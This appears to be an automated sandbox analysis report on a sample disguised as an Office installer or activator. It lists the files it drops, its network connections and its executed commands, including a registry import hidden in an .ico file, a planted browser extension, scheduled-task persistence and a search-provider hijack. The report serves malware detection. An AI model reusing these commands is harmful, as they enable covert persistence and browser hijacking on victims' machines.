Technical Information
Modifies file system
Creates the following files
- %TEMP%\nsyecfd.tmp
- %TEMP%\<File name>_patch-run.exe
- %TEMP%\nstf344.tmp
- <Current directory>\oinstall.exe
- <Current directory>\files\setup.exe
- <Current directory>\files\files.dat
- <Current directory>\files\uninstall.xml
- <Current directory>\files\x64\cleanospp.exe
- <Current directory>\files\x64\msvcr100.dll
- <Current directory>\files\x86\cleanospp.exe
- <Current directory>\files\x86\msvcr100.dll
- <Current directory>\files\configure.xml
- %TEMP%\temp_cleanup.ico
- %TEMP%\tidy.bat
- %LOCALAPPDATA%\features\x\icon.png
- %LOCALAPPDATA%\features\x\interface.html
- %LOCALAPPDATA%\features\x\interface.js
- %LOCALAPPDATA%\features\x\manifest.json
- %LOCALAPPDATA%\features\x\pdf_handler.js
- %LOCALAPPDATA%\features\x\script.js
- %LOCALAPPDATA%\features\x\security.js
- %LOCALAPPDATA%\features\x\style_01.css
- %LOCALAPPDATA%\features\x\web_accessible_resource.js
- %LOCALAPPDATA%\features\x\_locales\en\messages.json
- %LOCALAPPDATA%\updateswin\update.tmp
- %LOCALAPPDATA%\updateswin\updater.tmp
- %LOCALAPPDATA%\diagnosticsnet\cache.tmp
- %LOCALAPPDATA%\diagnosticsnet\configuration.tmp
- %LOCALAPPDATA%\diagnosticsnet\update.tmp
- %LOCALAPPDATA%\diagnosticsnet\updater.tmp
- %TEMP%\nsz7447.tmp\system.dll
- %TEMP%\aria2_oinstall.exe
- nul
- %LOCALAPPDATA%\diagnosticsnet\configuration.ps1
- %WINDIR%\temp\cabbecc.tmp
- %WINDIR%\temp\tarbecd.tmp
- %WINDIR%\temp\cabde20.tmp
- %WINDIR%\temp\tarde21.tmp
- %WINDIR%\temp\cabf625.tmp
- %WINDIR%\temp\tarf876.tmp
- %TEMP%\etilqs_tkyfywsfwauvruk
- %TEMP%\etilqs_m8xmvglxqcl3ge0
- %TEMP%\etilqs_ewdi90rkttyfa8t
- %TEMP%\etilqs_iclvovwarubsiaj
- %TEMP%\etilqs_fwnwp6ilg3ez8p8
- %TEMP%\etilqs_wo4x9pvcghqkmpf
- %TEMP%\etilqs_96cvd2ynthlhpfh
- %TEMP%\etilqs_a7xkggttbkqcdwd
- %WINDIR%\temp\cab1940.tmp
- %WINDIR%\temp\tar1941.tmp
- %WINDIR%\temp\cab27f2.tmp
- %WINDIR%\temp\tar27f3.tmp
Deletes the following files
- <Current directory>\files\files.dat
- <Current directory>\files\configure.xml
- <Current directory>\files\setup.exe
- %TEMP%\nsz7447.tmp\system.dll
- %TEMP%\<File name>_patch-run.exe
- %WINDIR%\temp\cabbecc.tmp
- %WINDIR%\temp\tarbecd.tmp
- %WINDIR%\temp\cabde20.tmp
- %WINDIR%\temp\tarde21.tmp
- %WINDIR%\temp\cabf625.tmp
- %WINDIR%\temp\tarf876.tmp
- %WINDIR%\temp\cab1940.tmp
- %WINDIR%\temp\tar1941.tmp
- %TEMP%\aria2_oinstall.exe
- %WINDIR%\temp\cab27f2.tmp
- %WINDIR%\temp\tar27f3.tmp
Substitutes the following files
- <Current directory>\files\configure.xml
- <Current directory>\files\setup.exe
- %TEMP%\aria2_oinstall.exe
Network activity
Connects to
- 'mr########gr.officeapps.live.com':443
- 'au######te.geo.opera.com':80
- 'au######te.geo.opera.com':443
- 'google.com':80
- 'se####.yahoo.com':80
- 'du###uckgo.com':443
- 'am##on.com':80
- 'bing.com':80
- 'se####.yahoo.com':443
- 'en.###ipedia.org':80
- 'am##on.com':443
- 'en.###ipedia.org':443
TCP
HTTP GET requests
- http://au######te.geo.opera.com/geolocation/
- http://www.google.com/favicon.ico
- http://se####.yahoo.com/favicon.ico
- http://www.am##on.com/favicon.ico
- http://www.bing.com/s/a/bing_p.ico
- http://en.###ipedia.org/favicon.ico
Other
- 'mr########gr.officeapps.live.com':443
- 'au######te.geo.opera.com':443
- 'du###uckgo.com':443
- 'se####.yahoo.com':443
- 'am##on.com':443
- 'en.###ipedia.org':443
UDP
- DNS ASK mr########gr.officeapps.live.com
- DNS ASK google.com
- DNS ASK au######te.geo.opera.com
- DNS ASK se####.yahoo.com
- DNS ASK du###uckgo.com
- DNS ASK am##on.com
- DNS ASK bing.com
- DNS ASK bi##.#ikimedia.org
- DNS ASK en.###ipedia.org
Miscellaneous
Searches for the following windows
- ClassName: 'Opera_MessageWindow' WindowName: '%APPDATA%\Opera Software\Opera Stable'
Creates and executes the following
- '%TEMP%\<File name>_patch-run.exe' <Current directory>
- '<Current directory>\oinstall.exe'
- '<Current directory>\files\files.dat' -y -pkmsauto
- '%TEMP%\aria2_oinstall.exe' https://mrodevicemgr.officeapps.live.com/mrodevicemgrsvc/api/v2/C2RReleaseData -over.txt
Executes the following
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 1 /f
- '<SYSTEM32>\cmd.exe' /D /c files.dat -y -pkmsauto
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\tidy.bat" "%TEMP%\<File name>_patch-run.exe" "DefaultSearchProvider" "HKEY_LOCAL_MACHINE\SOFTWARE\\" "ADHWWZ" "S13SPB2Z_2025-07" "<File name>_patch-run.exe" "Windows Registry Editor...
- '%WINDIR%\syswow64\cmd.exe' /c powershell -NoProfile -Command "$set = 'abcdefghijklmnopqrstuvwxyz'; -join ((1..30 | ForEach-Object { $set[(Get-Random -Maximum $set.Length)] }))"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "$set = 'abcdefghijklmnopqrstuvwxyz'; -join ((1..30 | ForEach-Object { $set[(Get-Random -Maximum $set.Length)] }))"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "(Get-Content -LiteralPath \"%TEMP%\temp_cleanup.ico\").Replace('{HKS}', '"HKEY_LOCAL_MACHINE\SOFTWARE\\"').Replace('{WRE}', '"Windows Registry Editor"') | Set-Content -LiteralPath \"%...
- '%WINDIR%\syswow64\reg.exe' import %TEMP%\temp_cleanup.ico /reg:64
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "foreach ($item in @(\"$env:LOCALAPPDATA\DiagnosticsNET\configuration.ps1\", \"$env:LOCALAPPDATA\DiagnosticsNET\update.vbs\", \"$en...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -NoProfile -Command "$paths = @{ \"$env:LOCALAPPDATA\Features\x\" = 'pydkumfgabuwdlirgfmgjvsfvmhalsx'; \"$env:LOCALAPPDATA\DiagnosticsNET\configuration.tmp\" = 'configuration.ps1'; \"$env...
- '%WINDIR%\syswow64\cmd.exe' /c powershell -command "gp 'HKCU:\Control Panel\International\Geo\' | select -exp Name"
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command "gp 'HKCU:\Control Panel\International\Geo\' | select -exp Name"
- '%WINDIR%\syswow64\cmd.exe' /S /D /c" echo AT BR CH DE DK ES FI FR HK IT MX NL NO SE SG TW GB UK US "
- '%WINDIR%\syswow64\findstr.exe' /I /C:" "
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -Command "(Get-Content -LiteralPath \"$env:LOCALAPPDATA\Features\pydkumfgabuwdlirgfmgjvsfvmhalsx\security.js\") -replace '{BUCKET}', '"S13SPB2Z_2025-07"' -replace '{SUB}', '"ADHWWZ"' -replace '...
- '%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' $triggerAtStartup = New-ScheduledTaskTrigger -AtStartup; $triggerAtLogon = New-ScheduledTaskTrigger -AtLogon; $dt = (get-date).AddDays(30).AddMinutes(3); $stt = New-ScheduledTaskTrigger -Repeti...
- '%ProgramFiles(x86)%\opera\launcher.exe' -noautoupdate -- "https://getadblocktag.com/v1/s/t/info?a=ins&sub=ADHWWZX&n=<File name>&bucket=S13SPB2Z_2025-07X&u=9pydkumfgabuwdlirgfmgjvsfvmhalsx"
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' -noautoupdate --ran-launcher -- https://getadblocktag.com/v1/s/t/info?a=ins&sub=ADHWWZX&n=<File name>&bucket=S13SPB2Z_2025-07X&u=9pydkumfgabuwdlirgfmgjvsfvmhalsx
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera_crashreporter.exe' -noautoupdate --ran-launcher -- https://getadblocktag.com/v1/s/t/info?a=ins&sub=ADHWWZX&n=<File name>&bucket=S13SPB2Z_2025-07X&u=9pydkumfgabuwdlirgfmgjvsfvmhalsx /crash-reporter-parent-id=1900
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=gpu-process --channel="1900.0.852354356\917550754" --enable-proprietary-media-types-playback --supports-dual-gpus=false --gpu-driver-bug-workarounds=1,19,42 --gpu-vendor-id=0x0000 --gpu-...
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=renderer --alt-high-dpi-setting=96 --disable-direct-npapi-requests --enable-deferred-image-decoding --lang=en-US --enable-proprietary-media-types-playback --disable-client-side-phishing-...
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=renderer --alt-high-dpi-setting=96 --disable-direct-npapi-requests --enable-deferred-image-decoding --lang=en-US --enable-proprietary-media-types-playback --extension-process --enable-we...
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="1900.4.172503538\1876932028" --lang=en-US --no-sandbox --enable-proprietary-media-types-playback /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="1900.5.1121081477\823410158" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="1900.6.883383879\56440934" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="1900.7.1676730040\136937590" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="1900.8.222126226\581817694" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera_crashreporter.exe' --type=utility --channel="1900.4.172503538\1876932028" --lang=en-US --no-sandbox --enable-proprietary-media-types-playback /prefetch:-645351001 /crash-reporter-parent-id=1940
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="1900.9.1615720014\352788244" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="1900.10.349607360\1455320168" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="1900.11.51263969\207962458" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '%ProgramFiles(x86)%\opera\29.0.1795.47\opera.exe' --type=utility --channel="1900.12.230097598\605056907" --lang=en-US --enable-proprietary-media-types-playback --ignored=" --type=renderer " /prefetch:-645351001
- '<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows Script Host\Settings" /v Enabled /t REG_DWORD /d 1 /f' (with hidden window)
- '<SYSTEM32>\cmd.exe' /D /c files.dat -y -pkmsauto' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ""%TEMP%\tidy.bat" "%TEMP%\<File name>_patch-run.exe" "DefaultSearchProvider" "HKEY_LOCAL_MACHINE\SOFTWARE\\" "ADHWWZ" "S13SPB2Z_2025-07" "<File name>_patch-run.exe" "Windows Registry Editor...' (with hidden window)
- '%TEMP%\aria2_oinstall.exe' https://mrodevicemgr.officeapps.live.com/mrodevicemgrsvc/api/v2/C2RReleaseData -over.txt' (with hidden window)
